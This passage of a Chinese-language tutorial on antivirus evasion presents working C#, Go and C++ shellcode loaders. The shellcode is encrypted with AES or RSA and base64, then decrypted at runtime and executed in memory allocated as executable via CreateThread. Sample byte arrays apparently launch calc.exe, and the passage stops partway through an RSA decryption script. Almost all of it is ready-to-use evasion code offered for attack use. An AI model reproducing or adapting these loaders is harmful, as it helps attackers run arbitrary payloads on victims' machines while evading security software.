        static void Main(string[] args)
        {
            //base64编码1后的字符串
            string encoded_base64_1 = Convert.ToBase64String(buf);

            // 自定义密钥和 IV(确保长度正确)
            byte[] key = Encoding.UTF8.GetBytes("1234567890123456"); // 16 字节密钥(128 位)
            byte[] iv = Encoding.UTF8.GetBytes("1234567890123456");  // 16 字节 IV

            //输出字符串
            Console.WriteLine("Base64加密后的数据:" + encoded_base64_1);

            // 加密
            byte[] encrypted = Encrypt(encoded_base64_1, key, iv);

            //base64编码2后的数据
            string encoded_base64_2 = Convert.ToBase64String(encrypted);
            Console.WriteLine("Encrypted: " + encoded_base64_2);
            Console.ReadKey();
        }

        static byte[] Encrypt(string plainText, byte[] key, byte[] iv)
        {

            //using 语句确保在使用完 AES 对象后自动释放资源,AES对象的作用范围是一对大括号里面{}
            using (Aes aes = Aes.Create())
            {
                aes.Key = key;
                aes.IV = iv;

                //这个转换器将使用指定的密钥和 IV 进行加密操作
                ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);

                //创建一个内存流(MemoryStream),用于存储加密后的数据
                using (MemoryStream ms = new MemoryStream())
                {
                    //创建一个 CryptoStream,它将内存流 ms 和加密器 encryptor 连接起来
                    using (CryptoStream cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write))
                    {
                        //创建一个 StreamWriter,用于将明文字符串写入 CryptoStream。StreamWriter 会将写入的内容加密后存储在内存流中。
                        using (StreamWriter sw = new StreamWriter(cs))
                        {
                            //将明文字符串写入 StreamWriter,自动触发加密过程
                            sw.Write(plainText);
                        }
                        return ms.ToArray();
                    }
                }
            }
        }
    }
}

解密版

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;

namespace _1._3_解密
{
    internal class Program
    {
        // 声明 Windows API 函数
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

        [DllImport("kernel32.dll")]
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

        static void Main(string[] args)
        {
            //base64编码2后的字符串
            string encoded_base64_2 = "imFZzvCLYFEKwfpKaHS4k7EdsVC7Wcn1lxeSRBl6mO1Kd5fOwk1YivYvyBx/Wkw59ULJABL4cyLiZhCkS+gW8yOd1pFG+0d0y4wQW/SzDfZi6aM00ecefHeJjzqiJG8EUsWXV7a2jrnwM1bvQqvR9RKZ1IpqGRK01Dw+a9xGsTuiVDbt63BkmfXkrcyUwbaftz+noiib/lcRLU7w5CdTYz9iPdhz5dT+XivCOI9BpRU7/tr5ie4iR0hlkTcddlue/VmFXLe4lsCTvEy0xJsTMfeFppc7RSJOlp44+1hgyyqXvODZkkiUZZGFpbZBWDRQNQoNacDCFe5bg1yGqnKkXsLjgC3agZDtoWQRwF8IvLk=";

            // 自定义密钥和 IV(确保长度正确)
            byte[] key = Encoding.UTF8.GetBytes("1234567890123456"); // 16 字节密钥(128 位)
            byte[] iv = Encoding.UTF8.GetBytes("1234567890123456");  // 16 字节 IV

            //base64解码2之后得到AES加密后的数据
            byte[] encrypted = Convert.FromBase64String(encoded_base64_2);

            //AES解密后得到base64编码1后的数据
            string encoded_base64_1 = Decrypt(encrypted, key, iv);

            //base64解码1后得到byte[]类型的数据
            byte[] shellcode = Convert.FromBase64String(encoded_base64_1);

            // 申请可执行内存
            IntPtr pMemory = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);

            // 将 shellcode 复制到申请的内存
            Marshal.Copy(shellcode, 0, pMemory, shellcode.Length);

            // 创建线程执行内存中的代码
            uint threadId;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, pMemory, IntPtr.Zero, 0, out threadId);

            // 等待线程执行完成
            WaitForSingleObject(hThread, 0xFFFFFFFF);

            // 释放内存(可选)
            VirtualFree(pMemory, 0, 0x8000);
        }

        static string Decrypt(byte[] cipherText, byte[] key, byte[] iv)
        {
            // 使用 using 语句确保在使用完 AES 对象后自动释放资源,AES 对象的作用范围是一对大括号里面{}
            using (Aes aes = Aes.Create())
            {
                // 将传入的密钥和 IV 分别赋值给 AES 对象的 Key 和 IV 属性
                aes.Key = key;
                aes.IV = iv;

                // 创建一个解密转换器,使用指定的密钥和 IV 进行解密操作
                ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV);

                // 创建一个内存流(MemoryStream),用于存储密文数据
                using (MemoryStream ms = new MemoryStream(cipherText))
                {
                    // 创建一个 CryptoStream,它将内存流 ms 和解密器 decryptor 连接起来
                    // CryptoStreamMode.Read 表示我们将从这个流读取数据(即解密数据)
                    using (CryptoStream cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Read))
                    {
                        // 创建一个 StreamReader,用于从 CryptoStream 中读取解密后的数据
                        using (StreamReader sr = new StreamReader(cs))
                        {
                            // 使用 StreamReader 读取解密后的全部内容并返回
                            return sr.ReadToEnd();
                        }
                    }
                }
            }
        }
    }
}

数据类型转换

  1. 加密:原始shellcode(字节数组)->base64编码1后(字符串)->AES加密(字节数组)->base64编码2后(字符串)

  2. 解密:字符串->base64解码2后(字节数组)->AES解密后(字符串)->base64解码1后(字节数组,就是原始的shellcode)

2.3 Go

安装,命令行输入

go get -u github.com/forgoer/openssl

加密版

package main  
  
import (  
    "encoding/base64"  
    "fmt"    
    "github.com/forgoer/openssl")  
  
func main() {  
    shellcode := []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,  
       0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28,  
       0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B,  
       0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,  
       0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,  
       0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F,  
       0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07,  
       0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,  
       0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,  
       0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B,  
       0x5A, 0x59, 0x58, 0xC3}  
  
    // 密钥的长度可以是 16/24/32 个字符(128/192/256 位)  
    key := []byte("1234567890123456")  
    iv := []byte("1234567890123456")  
  
    encrypted, _ := openssl.AesCBCEncrypt(shellcode, key, iv, openssl.PKCS7_PADDING)  
    fmt.Println(base64.StdEncoding.EncodeToString(encrypted))  
}

解密版

package main  
  
import (  
    "encoding/base64"  
    "fmt"    
    "github.com/forgoer/openssl"      
    "golang.org/x/sys/windows"      
    "unsafe")  
  
func main() {  
  
    //key和iv的长度可以是 16/24/32 个字符(128/192/256 位)    
key := []byte("1234567890123456") // 16字节密钥    
iv := []byte("1234567890123456")  // 16字节密钥偏移量    
    //待解密的密文    
encrypted := "ATrpq2+GBnHk3LfDb3nsXlmJ9Vc8dpX/XTDYNvTdAbIEQK6ccon3uvnae7gtnGduvMWj8xO9SYSx483fCkohMKtXZAJ2u2w2k+6QN8QXswDMZtXYcRJfnlAUa1bJOtUNaoO+aR58r8sM0bXQRh6dkA=="  
  
    // base64解码    
src, _ := base64.StdEncoding.DecodeString(encrypted)  
  
    // 解密    
shellcode, err := openssl.AesCBCDecrypt(src, key, iv, openssl.PKCS7_PADDING)  
    if err != nil {  
       fmt.Println("Decryption error:", err)  
       return  
    }  
    fmt.Println("Decrypted:", shellcode)  
  
    //申请内存    
addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)  
  
    //   复制shellcode到内存    
ntdll := windows.NewLazySystemDLL("ntdll.dll")  
    RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")  
    _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))  
  
    //   修改内存权限为可执行    
var oldProtect uint32  
    _ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)  
  
    //   创建线程    
kernel32 := windows.NewLazySystemDLL("kernel32.dll")  
    CreateThread := kernel32.NewProc("CreateThread")  
    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)  
    _, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)  
}

数据类型转换

  1. 加密:原始shellcode(字节数组)->AES加密后(字节数组)->base64编码后(字符串)

  2. 解密:字符串->base64解码后(字节数组)->AES解密后(字符串,就是原始的shellcode)

三、RSA加密

RSA(Rivest-Shamir-Adleman)是一种广泛使用的公钥加密算法,主要用于安全数据传输。在免杀中可以用于加密shellcode和AES的key和iv

3.1 C++

在 C++ 中实现 RSA 加密可以使用一些现成的库,比如 OpenSSL。

  1. 密钥生成脚本

#include <iostream>
#include <openssl/rsa.h>
#include <openssl/pem.h>
#include <openssl/bio.h>
#include <openssl/err.h>
#include <cstdlib>
#include <vector>
#include <iomanip>

#define KEY_LENGTH 2048 // 密钥长度

// 错误处理
void handleErrors() {
    ERR_print_errors_fp(stderr);
    abort();
}

// 生成 RSA 密钥对
void GenerateRSAKey(std::string& out_pub_key, std::string& out_pri_key) {
    size_t pri_len = 0; // 私钥长度
    size_t pub_len = 0; // 公钥长度
    char* pri_key = nullptr; // 私钥
    char* pub_key = nullptr; // 公钥

    // 生成密钥对
    RSA* keypair = RSA_generate_key(KEY_LENGTH, RSA_F4, NULL, NULL);
    if (!keypair) {
        std::cerr << "密钥生成失败" << std::endl;
        return;
    }

    BIO* pri = BIO_new(BIO_s_mem());
    BIO* pub = BIO_new(BIO_s_mem());

    // 生成私钥
    PEM_write_bio_RSAPrivateKey(pri, keypair, NULL, NULL, 0, NULL, NULL);
    // 生成公钥
    PEM_write_bio_RSA_PUBKEY(pub, keypair);

    // 获取长度  
    pri_len = BIO_pending(pri);
    pub_len = BIO_pending(pub);

    // 密钥对读取到字符串  
    pri_key = (char*)malloc(pri_len + 1);
    pub_key = (char*)malloc(pub_len + 1);

    BIO_read(pri, pri_key, pri_len);
    BIO_read(pub, pub_key, pub_len);

    pri_key[pri_len] = '\0';
    pub_key[pub_len] = '\0';

    out_pub_key = pub_key;
    out_pri_key = pri_key;

    // 输出公钥
    std::cout << "公钥:\n" << out_pub_key << std::endl;

    // 输出私钥
    std::cout << "私钥:\n" << out_pri_key << std::endl;

    // 释放内存
    RSA_free(keypair);
    BIO_free_all(pub);
    BIO_free_all(pri);

    free(pri_key);
    free(pub_key);
}

// 解密函数
std::vector<unsigned char> rsaDecrypt(RSA* rsa, const unsigned char* ciphertext, size_t ciphertextLength) {
    std::vector<unsigned char> plaintext(RSA_size(rsa));
    int result = RSA_private_decrypt(ciphertextLength, ciphertext,
        plaintext.data(), rsa, RSA_PKCS1_OAEP_PADDING);
    if (result == -1) {
        handleErrors();
    }
    plaintext.resize(result); // 调整明文大小
    return plaintext;
}

// 主函数
int main() {
    std::string pub_key;
    std::string pri_key;

    // 生成 RSA 密钥对
    GenerateRSAKey(pub_key, pri_key);

    return 0;
}
  1. RSA加密脚本

#include <iostream>
#include <openssl/rsa.h>
#include <openssl/pem.h>
#include <openssl/err.h>
#include <string.h>
#include <iomanip>
#include <vector>

// 错误处理函数
void handleErrors() {
    ERR_print_errors_fp(stderr);
    abort();
}

// 输出十六进制格式的函数
void printHex(const unsigned char* data, size_t length) {
    for (size_t i = 0; i < length; ++i) {
        std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << (int)data[i];
        if (i < length - 1) {
            std::cout << ", "; // 在每个字节后添加逗号和空格
        }
    }
    std::cout << std::dec << std::endl; // 恢复为十进制
}

// 从字符串加载公钥
RSA* loadPublicKeyFromString(const std::string& publicKeyStr) {
    BIO* bio = BIO_new_mem_buf((void*)publicKeyStr.c_str(), publicKeyStr.length());
    RSA* rsa = PEM_read_bio_RSA_PUBKEY(bio, NULL, NULL, NULL);
    BIO_free(bio);
    return rsa;
}

// 加密函数
std::vector<unsigned char> rsaEncrypt(RSA* rsa,unsigned char* plaintext, size_t plaintextLength) {
    std::vector<unsigned char> ciphertext(RSA_size(rsa));
    int result = RSA_public_encrypt(plaintextLength, plaintext,
        ciphertext.data(), rsa, RSA_PKCS1_OAEP_PADDING);
    if (result == -1) {
        handleErrors();
    }
    ciphertext.resize(result); // 调整密文大小
    return ciphertext;
}

// 主函数
int main() {

    // 公钥
    std::string pub_key = R"(-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0cYONXIC2UotNjbeXHGj
E0EWfv5F5xvzn4B4e24z2fnVhUEZPctBUDmSqXi9yZf/jnJLqw9gwSxxzhMIWYOs
JXZpH5zgsUiMqmqj5euGgbT+uvUH/9U2DP/kKYREKFBHY8uLFeoM0T85Jn2DeLGe
qE0KFax/a+MvFKzck3izDbzCYgF5ZlOfvewu1fYpXVcFYuKmuMMEyPM5e3Vd2Qg2
dzHDzfkI+e69II0oiR/UMJy7VWnSWfUOe3FUZHdOfHqDxasrJMT1m25/2s33fOLp
BfLmsaZzV6cWZ0lvGBVz/77JWU946lLvkUHoeX7m337qm8v1k57yuiA5l2qgojPB
7wIDAQAB
-----END PUBLIC KEY-----)";

    // unsigned char类型的明文
    unsigned char shellcode[] = {0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
       0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28,
       0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B,
       0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,
       0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,
       0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F,
       0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07,
       0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,
       0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,
       0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B,
       0x5A, 0x59, 0x58, 0xC3 };

    size_t len = sizeof(shellcode) / sizeof(shellcode[0]);
    // 加载公钥和私钥
    RSA* publicKey = loadPublicKeyFromString(pub_key);

    // 加密
    std::vector<unsigned char> ciphertext = rsaEncrypt(publicKey, shellcode, len);

    //输出16进制的明文
    printHex(ciphertext.data(),ciphertext.size());

    // 清理
    RSA_free(publicKey);
    EVP_cleanup();
    ERR_free_strings();

    return 0;
}

运行结果

  1. RSA解密脚本

#include <iostream>
#include <openssl/rsa.h>
#include <openssl/pem.h>
#include <openssl/err.h>
#include <cstdlib>
#include <windows.h>
#include <vector>

#define KEY_LENGTH 2048 // 密钥长度

// 错误处理
void handleErrors() {
    ERR_print_errors_fp(stderr);
    abort();
}

// 将十六进制字符串转换为字节数组
std::vector<unsigned char> hexStringToBytes(const std::string& hex) {
    std::vector<unsigned char> bytes;
    for (size_t i = 0; i < hex.length(); i += 2) {
        std::string byteString = hex.substr(i, 2);
        unsigned char byte = (unsigned char)(strtol(byteString.c_str(), nullptr, 16));
        bytes.push_back(byte);
    }
    return bytes;
}

// 从字符串加载私钥
RSA* loadPrivateKeyFromString(const std::string& privateKeyStr) {
    BIO* bio = BIO_new_mem_buf((void*)privateKeyStr.c_str(), privateKeyStr.length());
    RSA* rsa = PEM_read_bio_RSAPrivateKey(bio, NULL, NULL, NULL);
    BIO_free(bio);
    return rsa;
}

// 解密函数
std::vector<unsigned char> rsaDecrypt(RSA* rsa, const unsigned char* ciphertext, size_t ciphertextLength) {
    std::vector<unsigned char> plaintext(RSA_size(rsa));
    int result = RSA_private_decrypt(ciphertextLength, ciphertext,
        plaintext.data(), rsa, RSA_PKCS1_OAEP_PADDING);
    if (result == -1) {
        handleErrors();
    }
    plaintext.resize(result); // 调整明文大小
    return plaintext;
}



int main() {
    // 密文
    unsigned char ciphertext[] = { 0x4b, 0x68, 0xb9, 0xbf, 0xb6, 0x11, 0xab, 0x85, 0x5c, 0x16, 0x3f, 0xc5, 0xa8, 0x61, 0x5a, 0x77, 0xf2, 0x6e, 0xe3, 0x8c, 0x8f, 0x3a, 0x3c, 0x5b, 0x6b, 0x67, 0x67, 0xae, 0x91, 0x68, 0xd3, 0x16, 0xe4, 0xde, 0xc6, 0xbe, 0xaa, 0x2f, 0x9c, 0xe7, 0xff, 0x13, 0x60, 0x67, 0xdf, 0x16, 0xe4, 0xce, 0x7a, 0x80, 0xfb, 0x4e, 0x1a, 0xdc, 0x41, 0xda, 0x5e, 0x49, 0x58, 0x54, 0x43, 0x4c, 0x65, 0xd5, 0x7f, 0xd7, 0x5f, 0x70, 0x9a, 0x6e, 0x52, 0x43, 0xb3, 0x4b, 0xc3, 0x95, 0xdf, 0x0e, 0x35, 0xcb, 0xca, 0x02, 0x12, 0x22, 0xb7, 0x22, 0xf9, 0x84, 0x70, 0x7b, 0x89, 0x6b, 0x58, 0x88, 0x87, 0xce, 0xe0, 0xb0, 0x92, 0x6c, 0xba, 0x12, 0x1c, 0xfd, 0x64, 0x02, 0xc4, 0x83, 0x66, 0x5d, 0x11, 0x10, 0x8c, 0xc4, 0x29, 0x16, 0x0e, 0x88, 0x1e, 0x85, 0xce, 0xa0, 0x08, 0x3c, 0x0e, 0x98, 0x1d, 0xc7, 0xaa, 0xc1, 0xc4, 0x99, 0xc1, 0xe5, 0x9c, 0xc1, 0x56, 0xc7, 0x79, 0x13, 0xe8, 0x73, 0x47, 0x87, 0x9e, 0x6e, 0x97, 0x96, 0xbd, 0x3a, 0x85, 0x7e, 0x85, 0x36, 0xcc, 0x28, 0xa0, 0x61, 0x2c, 0xfb, 0x0c, 0xd8, 0xbf, 0xc1, 0x54, 0x13, 0xce, 0xda, 0x41, 0x4b, 0xe0, 0x55, 0x60, 0x42, 0xba, 0x9d, 0xf6, 0x44, 0xab, 0xbb, 0x9e, 0x62, 0x48, 0xb4, 0xd5, 0x9f, 0x48, 0xf8, 0x61, 0xbc, 0xb5, 0x7f, 0x1d, 0x8c, 0xcd, 0x1f, 0x60, 0x68, 0x32, 0xa9, 0x3d, 0xca, 0x49, 0x3c, 0x23, 0xd8, 0x3f, 0x9c, 0xc8, 0x11, 0x68, 0x0a, 0xf2, 0xce, 0x8e, 0xab, 0x4f, 0x50, 0x70, 0xf7, 0xd6, 0xe4, 0x92, 0x57, 0x1f, 0x94, 0x2c, 0xd5, 0xdd, 0xbb, 0x8c, 0xaf, 0x76, 0x1f, 0x6d, 0x5f, 0x35, 0xe9, 0x3a, 0x64, 0x85, 0x5b, 0xa6, 0x13, 0x02, 0x6e, 0x1d, 0x29, 0xc5, 0x7f, 0xfe, 0x8b, 0xb7, 0x09, 0x54, 0xe7 };

    // 私钥
    std::string pri_key = R"(-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEA0cYONXIC2UotNjbeXHGjE0EWfv5F5xvzn4B4e24z2fnVhUEZ
PctBUDmSqXi9yZf/jnJLqw9gwSxxzhMIWYOsJXZpH5zgsUiMqmqj5euGgbT+uvUH
/9U2DP/kKYREKFBHY8uLFeoM0T85Jn2DeLGeqE0KFax/a+MvFKzck3izDbzCYgF5
ZlOfvewu1fYpXVcFYuKmuMMEyPM5e3Vd2Qg2dzHDzfkI+e69II0oiR/UMJy7VWnS
WfUOe3FUZHdOfHqDxasrJMT1m25/2s33fOLpBfLmsaZzV6cWZ0lvGBVz/77JWU94
6lLvkUHoeX7m337qm8v1k57yuiA5l2qgojPB7wIDAQABAoIBABdyoXT05P+fzHTy
ZiGELDvDOz3/sxWVqMIr7IuzckVLqUPHVohzNz496ThbQC+P92dXPEEHK4P8MU5d
D0JeNvhLB44ajX0ThHGqEN7q2DKYZh7Es9uzW+LRGZJQcAPnkUtE3auZ6UvcWsmE
HxV3GSprzhRFH0sSbllLxy4OwEjpHA7X3W20X5jeFPEE9pZ2tF0N76cdJsI8+yAh
xk6l75zPPXSr/6d7+dBaXAkDL4sX6sI/DrHqLVJiETI6AvJMT/yoSLOZEaD/IU24
h5+cDVGAoYsC4dxNv1jqqaKm6HX3iW0jIdePQpZy5Yrx7oY2mUER64+uRuM26Gxl
14qJMAkCgYEA99b6zTrIm+Tzqst+cbB4I3BsSz3D4m3xVYHClDVvrlInuMYxOc3A
qpVC+6FrLrBFXB1bWpARSjPYOFXkcea6c+Rpph9tIq/hCHnXBY1xl3YvyDOpbnDk
mjgHBbm8mXPsvgi1fXjOh7uhyMvESsJYsKHk06GrIIFPTbzdVlgKAXcCgYEA2K44
RP0Ez2tj18lUsoprtIrsT859jq0AM0zAhhKlpSRCEgXTObCa2ahFkP8B11e3rAaG
wWv1TTKZYusCKPMVRNeeZQgTsBx38kFuajLUqARhUekr8G8MBkmA+zlR4MDneFdy
7ig2qYJL2cqT/r68vekWaReuyDpBjH3h2F5fIUkCgYAPrr/SCr00+CjfDt9ibEs9
2thPboodot1Zjst0O2lku3gd/hSRVs6xPJ6vc4hnvOm2qXjlYyZk7qDo965r8rCr
srFovKZYQo7XzXXouQmODwF5BqPbBDPC+nafSyB/CVHauIxbczCGcD4Nia9TF7cq
/iOPrLQ6a1RMU/4hf5KqgwKBgCsgYeq5QV/XTAQC+myeyFki3W3092CSZlvPhvIo
e/emg8/6gNQWpntz1oTJfKBTwSboFaIhzq0SyRy7Ea780trk343UUbbXs7fv9f4F
J/ZZCNW4xxoPwCDwOE/IVNebDXcSULm+H0MVv+sVOueVJxPVdLRuFkeb8Lf5xh2+
isihAoGAViTNW1CNM04scwRYniuLlRXHO8QwgJamM7qVzcW3vVY5xweE6WY+5i84
evO6GBrf/uUdrzeFyuSYozi+OY6bqbrtzvy3DqddKQpOA4XbBIwAuM2od/04u30G
3Y1MPgdgz8xwl/kngNUU3M77Oi1HvhZmmjywN/t8IMT0t+gKgC4=
-----END RSA PRIVATE KEY-----)";

    // 加载私钥
    RSA* privateKey = loadPrivateKeyFromString(pri_key);

    // 获取数组长度
    size_t len = sizeof(ciphertext) / sizeof(ciphertext[0]);

    // 解密
    std::vector<unsigned char> decryptedText = rsaDecrypt(privateKey, ciphertext,len);

    // 清理
    RSA_free(privateKey);

    // 申请一块大小为buf字节数组长度的可读可行的内存区域
    LPVOID pMemory = VirtualAlloc(NULL, decryptedText.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 将buf数组中的内容复制到刚刚分配的内存区域
    RtlMoveMemory(pMemory, decryptedText.data(), decryptedText.size());

    // 创建一个线程执行内存中的代码
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

    // 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);

    return 0;
}

数据类型转换

  1. 加密:原始shellcode(字节数组)->RSA加密(字节数组)

  2. 解密:密文(字节数组)->RSA解密(字节数组,就是shellcode)

3.2 CSharp

在 C# 中实现 RSA 加密相对简单,可以使用 System.Security.Cryptography 命名空间中的类

注意:

  1. 如果待解密和待加密的数据超过了密钥长度,就需要将数据进行分割

  2. 在RSA算法中,公钥用于加密,私钥用于解密,所以私钥要保存好。

  1. 密钥生成脚本

using System;
using System.Security.Cryptography;
using System.Text;

public class RSACryptoExample
{

    public static void Main()
    {
        RSASecretKey rsaKey;
        int keySize=2048;
        rsaKey = GenerateRSASecretKey(keySize);
        Console.WriteLine("PublicKey:"+rsaKey.PublicKey);
        Console.WriteLine("PrivateKey" + rsaKey.PrivateKey); 
        Console.ReadLine();

    }
    public struct RSASecretKey
    {
        public RSASecretKey(string privateKey, string publicKey)
        {
            PrivateKey = privateKey;
            PublicKey = publicKey;
        }
        public string PublicKey { get; set; }
        public string PrivateKey { get; set; }
    }

    public static RSASecretKey GenerateRSASecretKey(int keySize)
    {
        RSASecretKey rsaKey = new RSASecretKey();
        using (RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(keySize))
        {
            rsaKey.PrivateKey = rsa.ToXmlString(true);
            rsaKey.PublicKey = rsa.ToXmlString(false);
        }
        return rsaKey;
    }
}

记得复制RSA的公钥和私钥

  1. RSA加密脚本

using System.IO;
using System.Security.Cryptography;
using System.Text;
using System;
using System.Runtime.InteropServices;

/// 
/// </summary>
public class RSADecryptEncrypt
{

    public static void Main()
    {
        //待加密的数据
        byte[] shellcode = new byte[]{
        0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50,
        0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26,
        0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
        0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78,
        0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,
        0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
        0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,
        0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3,
        0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a,
        0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d,
        0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb,
        0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,
        0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53,
        0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
        };

        //base64编码
        string base64encoded = Convert.ToBase64String(shellcode);

        // 公钥
        string publicKeyString = "<RSAKeyValue><Modulus>2dfHdf7+NlPUpk484LP9TvS7AX7nGbN6rj8wwzyGAv4ajAjvpyMmeKcqBDT9Ws9ApJsmEsThbN263GgrvDrqLZcqg6YN92DJz0YPjqL/CSxbk+y1L9GLTA8RfKXbWJ5XG2VRj7YoY1JIpFJiPprwCD+uDifayi8cEF76NZVCexV0XvkX3vhR+s8DhqNu0ZZA+6icqRLNY1n3vsv82fiG61Af/OnUmHkVA/8REzAOFXu8UIgiX1pGdtFeWNt9bLr3k7MIxTThMAlmtRfav3FyE8QaMPn45kzRuZk472WOeOtJwWOcmANm+NR4OBJBtR1HkOJ6EE/Z376/p7ykYZtFlQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>";

        // RSA加密
        string encrypted = Encrypt(base64encoded, publicKeyString);

        //输出
        Console.WriteLine("RSA加密后的数据为:" +  encrypted);
        Console.ReadLine();
    }



    public static string Encrypt(string str, string key)
    {
        using (var rsaProvider = new RSACryptoServiceProvider())
        {
            var inputBytes = Encoding.UTF8.GetBytes(str);
            rsaProvider.FromXmlString(key);
            int bufferSize = (rsaProvider.KeySize / 8) - 11;
            var buffer = new byte[bufferSize];
            using (MemoryStream inputStream = new MemoryStream(inputBytes),
                 outputStream = new MemoryStream())
            {
                while (true)
                {
                    int readSize = inputStream.Read(buffer, 0, bufferSize);
                    if (readSize <= 0)
                    {
                        break;
                    }

                    var temp = new byte[readSize];
                    Array.Copy(buffer, 0, temp, 0, readSize);
                    var encryptedBytes = rsaProvider.Encrypt(temp, false);
                    outputStream.Write(encryptedBytes, 0, encryptedBytes.Length);
                }
                return Convert.ToBase64String(outputStream.ToArray());
            }
        }
    }
}
  1. RSA解密脚本

using System.IO;
using System.Security.Cryptography;
using System.Text;
using System;
using System.Runtime.InteropServices;
using System.Runtime.Remoting.Contexts;

/// 
/// </summary>
public class RSADecryptEncrypt
{
    // 声明 Windows API 函数
    [DllImport("kernel32.dll")]
